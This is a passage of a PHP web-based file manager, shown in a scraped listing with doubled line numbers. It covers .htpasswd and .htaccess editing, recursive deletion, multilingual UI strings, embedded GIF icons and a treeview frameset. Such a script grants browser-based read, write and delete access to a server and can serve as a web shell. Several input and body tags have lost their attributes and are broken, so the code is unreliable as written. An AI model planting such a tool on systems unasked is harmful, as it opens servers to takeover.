  544. 					echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password'])));
    545. 

  545. 				}
    546. 

  546. 			} else {
    547. 

  547. 				echo(htmlentities(fread($f, filesize($file))));
    548. 

  548. 			}
    549. 

  549. 			fclose($f);
    550. 

  550. ?></textarea></td>
    551. 

  551. 	</tr>
    552. 

  552. <?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?>
    553. 

  553. 	<tr>
    554. 

  554. 		<td bgcolor="#EEEEEE" align="center">
    555. 

  555. 			<table border="0">
    556. 

  556. 			<tr>
    557. 

  557. 				<td><?php echo($words['username']); ?>:&nbsp;</td>
    558. 

  558. 				<td><input type="text" name="username" size="15">&nbsp;</td>
    559. 

  559. 				<td><?php echo($words['password']); ?>:&nbsp;</td>
    560. 

  560. 				<td><input type="password" name="password" size="15">&nbsp;</td>
    561. 

  561. 				<td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td>
    562. 

  562. 			</tr>
    563. 

  563. 			</table>
    564. 

  564. 		</td>
    565. 

  565. 	</tr>
    566. 

  566. <?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?>
    567. 

  567. 	<tr>
    568. 

  568. 		<td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>" 
    569. 

  569. 	</tr>
    570. 

  570. <?php } ?>
    571. 

  571. 	<tr>
    572. 

  572. 		<td bgcolor="#EEEEEE" align="center">
    573. 

  573. 			<input type="button" value="<?php echo($words['reset']); ?>" 
    574. 

  574. 			<input type="button" value="<?php echo($words['clear']); ?>" '')">
    575. 

  575. 			<input type="submit" name="save" value="<?php echo($words['save']); ?>">
    576. 

  576. 		</td>
    577. 

  577. 	</tr>
    578. 

  578. 	</table>
    579. 

  579. 	</td></tr></table>
    580. 

  580. 	</form>
    581. 

  581. <?php
    582. 

  582. 			html_footer();
    583. 

  583. 			exit;
    584. 

  584. 		} else {
    585. 

  585. 			$error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot; ', $words['notopened']);
    586. 

  586. 		}
    587. 

  587. 	}
    588. 

  588. }
    589. 

  589. 

  590. /* Show directory listing (and treeview) */
    591. 

  591. if (!empty($_SESSION['tree'])) {
    592. 

  592. 	if (isset($_REQUEST['frame']) && $_REQUEST['frame'] == 'treeview') {
    593. 

  593. 		treeview();
    594. 

  594. 	} else {
    595. 

  595. 		if (isset($_GET['noupdate'])) $updatetreeview = FALSE;
    596. 

  596. 		dirlisting(TRUE);
    597. 

  597. 	}
    598. 

  598. } else {
    599. 

  599. 	dirlisting();
    600. 

  600. }
    601. 

  601. 

  602. /* ------------------------------------------------------------------------- */
    603. 

  603. 

  604. function strip (&$str) {
    605. 

  605. 	$str = stripslashes($str);
    606. 

  606. }
    607. 

  607. 

  608. function relpathtoabspath ($file, $dir) {
    609. 

  609. 	$dir = spath($dir);
    610. 

  610. 	if (substr($file, 0, 1) != '/') $file = $dir . $file;
    611. 

  611. 	if (!@is_link($file) && ($r = realpath($file)) != FALSE) $file = $r;
    612. 

  612. 	if (@is_dir($file) && !@is_link($file)) $file = spath($file);
    613. 

  613. 	return $file;
    614. 

  614. }
    615. 

  615. 

  616. function abspathtorelpath ($pos, $target) {
    617. 

  617. 	$pos = spath($pos);
    618. 

  618. 	$path = '';
    619. 

  619. 	while ($pos != $target) {
    620. 

  620. 		if ($pos == substr($target, 0, strlen($pos))) {
    621. 

  621. 			$path .= substr($target, strlen($pos));
    622. 

  622. 			break;
    623. 

  623. 		} else {
    624. 

  624. 			$path .= '../';
    625. 

  625. 			$pos = strrev(strstr(strrev(substr($pos, 0, strlen($pos) - 1)), '/'));
    626. 

  626. 		}
    627. 

  627. 	}
    628. 

  628. 	return $path;
    629. 

  629. }
    630. 

  630. 

  631. function is_script ($file) {
    632. 

  632. 	return ereg('.php[3-4]?$', $file);
    633. 

  633. }
    634. 

  634. 

  635. function spath ($path) {
    636. 

  636. 	if (substr($path, strlen($path) - 1, 1) != '/') $path .= '/';
    637. 

  637. 	return $path;
    638. 

  638. }
    639. 

  639. 

  640. function textfieldsize ($str) {
    641. 

  641. 	$size = strlen($str) + 5;
    642. 

  642. 	if ($size < 30) $size = 30;
    643. 

  643. 	return $size;
    644. 

  644. }
    645. 

  645. 

  646. function is_free ($file) {
    647. 

  647. 	global $words;
    648. 

  648. 	if (@file_exists($file) && empty($_GET['overwrite'])) {
    649. 

  649. 		html_header($words['alreadyexists']);
    650. 

  650. ?>
    651. 

  651. 	<p>
    652. 

  652. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    653. 

  653. 	<table border="0" cellspacing="1" cellpadding="4">
    654. 

  654. 	<tr>
    655. 

  655. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    656. 

  656. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    657. 

  657. 	</tr>
    658. 

  658. 	<tr>
    659. 

  659. 		<td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['overwrite'])); ?></td>
    660. 

  660. 	</tr>
    661. 

  661. 	<tr>
    662. 

  662. 		<td colspan="2" align="center" bgcolor="#EEEEEE">
    663. 

  663. 			<a href="<?php echo("{$_SERVER['REQUEST_URI']}&overwrite=yes"); ?>">[ <?php echo($words['yes']); ?> ]</a>
    664. 

  664. 		</td>
    665. 

  665. 	</tr>
    666. 

  666. 	</table>
    667. 

  667. 	</td></tr></table>
    668. 

  668. 	</p>
    669. 

  669. <?php
    670. 

  670. 		html_footer();
    671. 

  671. 		exit;
    672. 

  672. 	}
    673. 

  673. 	if (!empty($_GET['overwrite'])) {
    674. 

  674. 		return remove($file);
    675. 

  675. 	}
    676. 

  676. 	return TRUE;
    677. 

  677. }
    678. 

  678. 

  679. function remove ($file) {
    680. 

  680. 	global $updatetreeview;
    681. 

  681. 	if (@is_dir($file) && !@is_link($file)) {
    682. 

  682. 		$error = FALSE;
    683. 

  683. 		if ($p = @opendir($file = spath($file))) {
    684. 

  684. 			while (($f = readdir($p)) !== FALSE)
    685. 

  685. 				if ($f != '.' && $f != '..' && !remove($file . $f))
    686. 

  686. 					$error = TRUE;
    687. 

  687. 		}
    688. 

  688. 		if ($error) $x = FALSE; else $x = @rmdir($file);
    689. 

  689. 		$updatetreeview = TRUE;
    690. 

  690. 		if ($x && !empty($_SESSION['tree'])) {
    691. 

  691. 			$file = spath(dirname($file));
    692. 

  692. 			$_SESSION['hassubdirs'][$file] = tree_hassubdirs($file);
    693. 

  693. 			tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file, TRUE);
    694. 

  694. 		}
    695. 

  695. 	} else {
    696. 

  696. 		$x = @unlink($file);
    697. 

  697. 	}
    698. 

  698. 	return $x;
    699. 

  699. }
    700. 

  700. 

  701. function getwords ($language) {
    702. 

  702. 	switch ($language) {
    703. 

  703. 	case 'de':
    704. 

  704. 		$words['dir'] = 'Verzeichnis'; $words['file'] = 'Datei';
    705. 

  705. 		$words['filename'] = 'Dateiname'; $words['size'] = 'Gr&ouml;&szlig;e'; $words['permission'] = 'Rechte'; $words['functions'] = 'Funktionen';
    706. 

  706. 		$words['owner'] = 'Eigner'; $words['group'] = 'Gruppe'; $words['other'] = 'Andere';
    707. 

  707. 		$words['create'] = 'erstellen'; $words['copy'] = 'kopieren'; $words['copyto'] = 'kopieren nach'; $words['move'] = 'verschieben'; $words['moveto'] = 'verschieben nach'; $words['delete'] = 'l&ouml;schen'; $words['edit'] = 'editieren';
    708. 

  708. 		$words['read'] = 'lesen'; $words['write'] = 'schreiben'; $words['exec'] = 'ausf&uuml;hren'; $words['change'] = 'wechseln'; $words['upload'] = 'hochladen'; $words['configure'] = 'konfigurieren';
    709. 

  709. 		$words['yes'] = 'ja'; $words['no'] = 'nein';
    710. 

  710. 		$words['back'] = 'zur&uuml;ck'; $words['setperms'] = 'Rechte setzen';
    711. 

  711. 		$words['readingerror'] = 'Fehler beim Lesen von 1';
    712. 

  712. 		$words['permsset'] = 'Die Rechte von 1 wurden auf 2 gesetzt.'; $words['permsnotset'] = 'Die Rechte von 1 konnten nicht gesetzt werden.';
    713. 

  713. 		$words['uploaded'] = '1 wurde nach 2 hochgeladen.'; $words['notuploaded'] = '1 konnte nicht nach 2 hochgeladen werden.';
    714. 

  714. 		$words['moved'] = '1 wurde nach 2 verschoben.'; $words['notmoved'] = '1 konnte nicht nach 2 verschoben werden.';
    715. 

  715. 		$words['copied'] = '1 wurde nach 2 kopiert.'; $words['notcopied'] = '1 konnte nicht nach 2 kopiert werden.';
    716. 

  716. 		$words['created'] = '1 wurde erstellt.'; $words['notcreated'] = '1 konnte nicht erstellt werden.';
    717. 

  717. 		$words['deleted'] = '1 wurde gel&ouml;scht.'; $words['notdeleted'] = '1 konnte nicht gel&ouml;scht werden.'; $words['suredelete'] = '1 wirklich l&ouml;schen?';
    718. 

  718. 		$words['saved'] = '1 wurde gespeichert.'; $words['notsaved'] = '1 konnte nicht gespeichert werden.';
    719. 

  719. 		$words['reset'] = 'zur&uuml;cksetzen'; $words['clear'] = 'verwerfen'; $words['save'] = 'speichern';
    720. 

  720. 		$words['cantbeshown'] = '1 kann nicht angezeigt werden.'; $words['sourceof'] = 'Quelltext von 1';
    721. 

  721. 		$words['notopened'] = '1 konnte nicht ge&ouml;ffnet werden.';
    722. 

  722. 		$words['addauth'] = 'Standard-Authentifizierungseinstellungen hinzuf&uuml;gen';
    723. 

  723. 		$words['username'] = 'Benutzername'; $words['password'] = 'Kennwort'; $words['add'] = 'hinzuf&uuml;gen';
    724. 

  724. 		$words['treeon'] = 'Baumansicht aktivieren'; $words['treeoff'] = 'Baumansicht deaktivieren';
    725. 

  725. 		$words['symlink'] = 'Symbolischer Link'; $words['createsymlink'] = 'Link erstellen'; $words['target'] = 'Ziel';
    726. 

  726. 		$words['reltarget'] = 'Relative Pfadangabe des Ziels';
    727. 

  727. 		$words['alreadyexists'] = 'Die Datei existiert bereits.';
    728. 

  728. 		$words['overwrite'] = 'Soll 1 &uuml;berschrieben werden?';
    729. 

  729. 		$words['samefiles'] = '1 und 2 sind identisch.';
    730. 

  730. 		break;
    731. 

  731. 	case 'cz':
    732. 

  732. 		$words['dir'] = 'Adres&#xE1;&#x0159;'; $words['file'] = 'Soubor';
    733. 

  733. 		$words['filename'] = 'Jm&#xE9;no souboru'; $words['size'] = 'Velikost'; $words['permission'] = 'Pr&#xE1;va'; $words['functions'] = 'Functions';
    734. 

  734. 		$words['owner'] = 'Vlastn&#xED;k'; $words['group'] = 'Skupina'; $words['other'] = 'Ostatn&#xED;';
    735. 

  735. 		$words['create'] = 'vytvo&#x0159;it'; $words['copy'] = 'kop&#xED;rovat'; $words['copyto'] = 'kop&#xED;rovat do'; $words['move'] = 'p&#x0159;esunout'; $words['moveto'] = 'p&#x0159;esunout do'; $words['delete'] = 'odstranit'; $words['edit'] = '&#xFA;pravy';
    736. 

  736. 		$words['read'] = '&#x010D;ten&#xED;'; $words['write'] = 'z&#xE1;pis'; $words['exec'] = 'spu&#x0161;t&#x011B;n&#xED;'; $words['change'] = 'zm&#x011B;nit'; $words['upload'] = 'nahr&#xE1;t'; $words['configure'] = 'nastaven&#xED;';
    737. 

  737. 		$words['yes'] = 'ano'; $words['no'] = 'ne';
    738. 

  738. 		$words['back'] = 'zp&#xE1;tky'; $words['setperms'] = 'nastav pr&#xE1;va';
    739. 

  739. 		$words['readingerror'] = 'Chyba p&#x0159;i &#x010D;ten&#xED; 1';
    740. 

  740. 		$words['permsset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 byla nastavena na 2.'; $words['permsnotset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 nelze  nastavit na 2.';
    741. 

  741. 		$words['uploaded'] = 'Soubor 1 byl ulo&#x017E;en do adres&#xE1;&#x0159;e 2.'; $words['notuploaded'] = 'Chyba p&#x0159;i ukl&#xE1;d&#xE1;n&#xED; souboru 1 do adres&#xE1;&#x0159;e 2.';
    742. 

  742. 		$words['moved'] = 'Soubor 1 byl p&#x0159;esunut do adres&#xE1;&#x0159;e 2.'; $words['notmoved'] = 'Soubor 1 nelze p&#x0159;esunout do adres&#xE1;&#x0159;e 2.';
    743. 

  743. 		$words['copied'] = 'Soubor 1 byl zkop&#xED;rov&#xE1;n do adres&#xE1;&#x0159;e 2.'; $words['notcopied'] = 'Soubor 1 nelze zkop&#xED;rovat do adres&#xE1;&#x0159;e 2.';
    744. 

  744. 		$words['created'] = '1 byl vytvo&#x0159;en.'; $words['notcreated'] = '1 nelze vytvo&#x0159;it.';
    745. 

  745. 		$words['deleted'] = '1 byl vymaz&#xE1;n.'; $words['notdeleted'] = '1 nelze vymazat.'; $words['suredelete'] = 'Skute&#x010D;n&#x011B; smazat 1?';
    746. 

  746. 		$words['saved'] = 'Soubor 1 byl ulo&#x017E;en.'; $words['notsaved'] = 'Soubor 1 nelze ulo&#x017E;it.';
    747. 

  747. 		$words['reset'] = 'zp&#x011B;t'; $words['clear'] = 'vy&#x010D;istit'; $words['save'] = 'ulo&#x017E;';
    748. 

  748. 		$words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
    749. 

  749. 		$words['notopened'] = "1 nelze otev&#x0159;&#xED;t";
    750. 

  750. 		$words['addauth'] = 'p&#x0159;idat z&#xE1;kladn&#xED;-authentifikaci';
    751. 

  751. 		$words['username'] = 'U&#x017E;ivatelsk&#xE9; jm&#xE9;no'; $words['password'] = 'Heslo'; $words['add'] = 'p&#x0159;idat';
    752. 

  752. 		$words['treeon'] = 'Zobraz strom adres&#xE1;&#x0159;&#x016F;'; $words['treeoff'] = 'Skryj strom adres&#xE1;&#x0159;&#x016F;';
    753. 

  753. 		$words['symlink'] = 'Symbolick&#xFD; odkaz'; $words['createsymlink'] = 'vytvo&#x0159;it odkaz'; $words['target'] = 'C&#xED;l';
    754. 

  754. 		$words['reltarget'] = 'Relativni cesta k c&#xED;li';
    755. 

  755. 		$words['alreadyexists'] = 'Tento soubor u&#x017E; existuje.';
    756. 

  756. 		$words['overwrite'] = 'P&#x0159;epsat 1?';
    757. 

  757. 		$words['samefiles'] = '1 a 2 jsou identick&#xE9;l.';
    758. 

  758. 		break;
    759. 

  759. 	case 'it':
    760. 

  760. 		$words['dir'] = 'Directory'; $words['file'] = 'File';
    761. 

  761. 		$words['filename'] = 'Nome file'; $words['size'] = 'Dimensioni'; $words['permission'] = 'Permessi'; $words['functions'] = 'Funzioni';
    762. 

  762. 		$words['owner'] = 'Proprietario'; $words['group'] = 'Gruppo'; $words['other'] = 'Altro';
    763. 

  763. 		$words['create'] = 'crea'; $words['copy'] = 'copia'; $words['copyto'] = 'copia su'; $words['move'] = 'muovi'; $words['moveto'] = 'muove su'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
    764. 

  764. 		$words['read'] = 'leggi'; $words['write'] = 'scrivi'; $words['exec'] = 'esegui'; $words['change'] = 'modifica'; $words['upload'] = 'upload'; $words['configure'] = 'configura';
    765. 

  765. 		$words['yes'] = 'si'; $words['no'] = 'no';
    766. 

  766. 		$words['back'] = 'back'; $words['setperms'] = 'imposta permessi';
    767. 

  767. 		$words['readingerror'] = 'Errore durante la lettura di 1';
    768. 

  768. 		$words['permsset'] = 'I permessi di 1 sono stati impostati a 2.'; $words['permsnotset'] = 'I permessi di 1 non possono essere impostati.';
    769. 

  769. 		$words['uploaded'] = '1 ? stato uploadato su 2.'; $words['notuploaded'] = 'Errore durante l\'upload di 1 su 2.';
    770. 

  770. 		$words['moved'] = '1 ? stato spostato su 2.'; $words['notmoved'] = '1 non pu? essere spostato su 2.';
    771. 

  771. 		$words['copied'] = '1 ? stato copiato su 2.'; $words['notcopied'] = '1 non pu? essere copiato su 2.';
    772. 

  772. 		$words['created'] = '1 ? stato creato.'; $words['notcreated'] = 'impossibile creare 1.';
    773. 

  773. 		$words['deleted'] = '1 ? stato eliminato.'; $words['notdeleted'] = 'Impossibile eliminare 1.'; $words['suredelete'] = 'Confermi eliminazione di 1?';
    774. 

  774. 		$words['saved'] = '1 ? stato salvato.'; $words['notsaved'] = 'Impossibile salvare 1.';
    775. 

  775. 		$words['reset'] = 'reimposta'; $words['clear'] = 'pulisci'; $words['save'] = 'salva';
    776. 

  776. 		$words['cantbeshown'] = "Impossibile visualizzare 1."; $words['sourceof'] = 'sorgente di 1';
    777. 

  777. 		$words['notopened'] = "Impossibile aprire 1";
    778. 

  778. 		$words['addauth'] = 'aggiunge autenticazione di base';
    779. 

  779. 		$words['username'] = 'Nome Utente'; $words['password'] = 'Password'; $words['add'] = 'add';
    780. 

  780. 		$words['treeon'] = 'Abilita vista ad albero'; $words['treeoff'] = 'Disabilita vista ad albero';
    781. 

  781. 		$words['symlink'] = 'Link simbolico'; $words['createsymlink'] = 'crea symlink'; $words['target'] = 'Target';
    782. 

  782. 		$words['reltarget'] = 'Percorso relativo al target';
    783. 

  783. 		$words['alreadyexists'] = 'Questo file esiste gi?.';
    784. 

  784. 		$words['overwrite'] = 'Sovrascrivi 1?';
    785. 

  785. 		$words['samefiles'] = '1 e 2 sono identici.';
    786. 

  786. 		break;
    787. 

  787. 	case 'en':
    788. 

  788. 	default:
    789. 

  789. 		$words['dir'] = 'Directory'; $words['file'] = 'File';
    790. 

  790. 		$words['filename'] = 'Filename'; $words['size'] = 'Size'; $words['permission'] = 'Permission'; $words['functions'] = 'Functions';
    791. 

  791. 		$words['owner'] = 'Owner'; $words['group'] = 'Group'; $words['other'] = 'Other';
    792. 

  792. 		$words['create'] = 'create'; $words['copy'] = 'copy'; $words['copyto'] = 'copy to'; $words['move'] = 'move'; $words['moveto'] = 'move to'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
    793. 

  793. 		$words['read'] = 'read'; $words['write'] = 'write'; $words['exec'] = 'execute'; $words['change'] = 'change'; $words['upload'] = 'upload'; $words['configure'] = 'configure';
    794. 

  794. 		$words['yes'] = 'yes'; $words['no'] = 'no';
    795. 

  795. 		$words['back'] = 'back'; $words['setperms'] = 'set permission';
    796. 

  796. 		$words['readingerror'] = 'Error during read of 1';
    797. 

  797. 		$words['permsset'] = 'The permission of 1 were set to 2.'; $words['permsnotset'] = 'The permission of 1 could not be set.';
    798. 

  798. 		$words['uploaded'] = '1 has been uploaded to 2.'; $words['notuploaded'] = 'Error during upload of 1 to 2.';
    799. 

  799. 		$words['moved'] = '1 has been moved to 2.'; $words['notmoved'] = '1 could not be moved to 2.';
    800. 

  800. 		$words['copied'] = '1 has been copied to 2.'; $words['notcopied'] = '1 could not be copied to 2.';
    801. 

  801. 		$words['created'] = '1 has been created.'; $words['notcreated'] = '1 could not be created.';
    802. 

  802. 		$words['deleted'] = '1 has been deleted.'; $words['notdeleted'] = '1 could not be deleted.'; $words['suredelete'] = 'Really delete 1?';
    803. 

  803. 		$words['saved'] = '1 has been saved.'; $words['notsaved'] = '1 could not be saved.';
    804. 

  804. 		$words['reset'] = 'reset'; $words['clear'] = 'clear'; $words['save'] = 'save';
    805. 

  805. 		$words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
    806. 

  806. 		$words['notopened'] = "1 couldn't be opened";
    807. 

  807. 		$words['addauth'] = 'add basic-authentification';
    808. 

  808. 		$words['username'] = 'Username'; $words['password'] = 'Password'; $words['add'] = 'add';
    809. 

  809. 		$words['treeon'] = 'Enable treeview'; $words['treeoff'] = 'Disable treeview';
    810. 

  810. 		$words['symlink'] = 'Symbolic link'; $words['createsymlink'] = 'create link'; $words['target'] = 'Target';
    811. 

  811. 		$words['reltarget'] = 'Relative path to target';
    812. 

  812. 		$words['alreadyexists'] = 'This file already exists.';
    813. 

  813. 		$words['overwrite'] = 'Overwrite 1?';
    814. 

  814. 		$words['samefiles'] = '1 and 2 are identical.';
    815. 

  815. 	}
    816. 

  816. 	return $words;
    817. 

  817. }
    818. 

  818. 

  819. function getimage ($iid) {
    820. 

  820. 	$image = 'GIF89a';
    821. 

  821. 	switch ($iid) {
    822. 

  822. 	case  1: $image .= "\23\0\22\0\242\4\0\0\0\0\377\377\377\314\314\314\231\231\231\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\23\0\22\0\0\3?H\272\334N \312\327@\270\30P%\273\237\213\205\215\244\240q\201\240\256\254:\234P\332\316o(\317l\215\342\255\36\363\71\230\5\270\362\15\211\2cr\300l:\231\60\310g\272\251Z\257\330l5\1\0;\0"; break;
    823. 

  823. 	case  2: $image .= "\23\0\22\0\221\2\0\0\0\0\314\314\314\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\23\0\22\0\0\2\64\224\217\251\2\355\233@\230\24@#\251v\357d\15V^H\6\26fr\352\312\230ehI\337;\305\63}6\364\206\356\365\350\63!V\304\323\345\210L*\227\220\2\0;\0"; break;
    824. 

  824. 	case  3: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\32\214o\200\313\355\255\236\234,\322+-\336K\363\357}[(^d9\235hP\0\0;\0"; break;
    825. 

  825. 	case  4: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234\217\251\313\355\17\15\230\224:\20\262\16\340j\241u\15\226\201\231\310\140\302\272rC\207\36d\140\272\343\27z\333yUU\4\14\12\207DF\1\0;\0"; break;
    826. 

  826. 	case  5: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2*\234\217\251\313\355\17\15\230\224:\20\262\16\340n\335\65\330\307y\302y\226]\210\214\37\273\270\33\254\310\340UU\321\316\367\376\317(\0\0;\0"; break;
    827. 

  827. 	case  6: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\33\214o\200\313\355\255\236\234,\322+-\336K\371\360q\224\46rd\211\235\350\270\76\5\0;\0"; break;
    828. 

  828. 	case  7: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2\60\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\206\204\304a\221R\0\0;\0"; break;
    829. 

  829. 	case  8: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\5\207B\42\245\0\0;\0"; break;
    830. 

  830. 	case  9: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\30\214o\200\313\355\255\236\234,\322+-\336K\371\360q\342H\226\346\211r\5\0;\0"; break;
    831. 

  831. 	case 10: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\12\207\304\242\260\0\0;\0"; break;
    832. 

  832. 	case 11: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\12\207\304\140\1\0;\0"; break;
    833. 

  833. 	case 12: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
    834. 

  834. 	case 13: $image .= "\21\0\15\0\221\3\0\314\0\0\377\377\377\231\231\231\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
    835. 

  835. 	case 14: $image .= "\21\0\15\0\242\4\0\231\231\231\377\377\377\0\0\0\314\0\0\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\21\0\15\0\0\3\71H\12\334\254\60\202@\353\213p\212-\302\4\330RYM8\15\3\305y\46\205\216,\204\316s\260\305\12M\217 6\5/[\247\47\1\246\140\304\314\210\63l\301,\46\207\224\230\0\0;\0"; break;
    836. 

  836. 	case 15: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\314\314\314\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2*\234\217\231\300\254\33b\4\317\264\213\235\225\274\13:\0\201@\226\46\11\212\347\372m\354\231\216o\31\317\264k\267a\216\36\331o(\0\0;\0"; break;
    837. 

  837. 	case 16: $image .= "\21\0\15\0\221\2\0\0\0\0\377\377\0\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\21\0\15\0\0\2,\224\217\251\2\355\260\14\10\263\322\65\203\336\32\246\7\66_\325P\245x\224\34\207J\344vzi\7wJf\342\62\202\263\21\23\372\11\17\5\0;\0"; break;
    838. 

  838. 	case  0:
    839. 

  839. 	default: $image .= "\23\0\22\0\200\1\0\0\0\0\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\20\214\217\251\313\355\17\243\234\264\332\213\263\336\274\327\2\0;\0"; break;
    840. 

  840. 	}
    841. 

  841. 	return $image;
    842. 

  842. }
    843. 

  843. 

  844. function tree_hassubdirs ($path) {
    845. 

  845. 	if ($p = @opendir($path)) {
    846. 

  846. 		while (($filename = readdir($p)) !== FALSE) {
    847. 

  847. 			if (tree_isrealdir($path . $filename)) return TRUE;
    848. 

  848. 		}
    849. 

  849. 	}
    850. 

  850. 	return FALSE;
    851. 

  851. }
    852. 

  852. 

  853. function tree_isrealdir ($path) {
    854. 

  854. 	if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE;
    855. 

  855. }
    856. 

  856. 

  857. function treeview () {
    858. 

  858. 	global $self, $treeroot;
    859. 

  859. 	if (isset($_GET['plus']))	tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']);
    860. 

  860. 	if (isset($_GET['minus']))	$dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE;
    861. 

  861. 	for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d));
    862. 

  862. ?>
    863. 

  863. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
    864. 

  864. <html>
    865. 

  865. <head>
    866. 

  866. 	<title>Treeview</title>
    867. 

  867. 	<style type="text/css">
    868. 

  868. 	<!--
    869. 

  869. 		td { font-family: sans-serif; font-size: 10pt; }
    870. 

  870. 		a:link, a:visited, a:active { text-decoration: none; color: #000088; }
    871. 

  871. 		a:hover { text-decoration: underline; color: #000088; }
    872. 

  872. 	-->
    873. 

  873. 	</style>
    874. 

  874. </head>
    875. 

  875. <body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" '$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>>
    876. 

  876. 	<table border="0" cellspacing="0" cellpadding="0">
    877. 

  877. <?php
    878. 

  878. 	tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0));
    879. 

  879. ?>
    880. 

  880. 	</table>
    881. 

  881. </body>
    882. 

  882. </html>
    883. 

  883. <?php
    884. 

  884. 	return;
    885. 

  885. }
    886. 

  886. 

  887. function frameset () {
    888. 

  888. 	global $self;
    889. 

  889. ?>
    890. 

  890. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN">
    891. 

  891. <html>
    892. 

  892. <head>
    893. 

  893. 	<title><?php echo($self); ?></title>
    894. 

  894. </head>
    895. 

  895. <frameset cols="250,*">
    896. 

  896. 	<frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview">
    897. 

  897. 	<frame src="<?php echo("$self?" . SID); ?>" name="webadmin">
    898. 

  898. </frameset>
    899. 

  899. </html>
    900. 

  900. <?php
    901. 

  901. 	return;
    902. 

  902. }
    903. 

  903. 

  904. function tree_calculatenumcols ($tree, $path, $col) {
    905. 

  905. 	static $numcols = 0;
    906. 

  906. 	if ($col > $numcols) $numcols = $col; 
    907. 

  907. 	if (isset($tree[$path])) {
    908. 

  908. 		for ($i = 0; $i < sizeof($tree[$path]); $i++) {
    909. 

  909. 			$numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1);
    910. 

  910. 		}
    911. 

  911. 	} 
    912. 

  912. 	return $numcols;
    913. 

  913. }
    914. 

  914. 

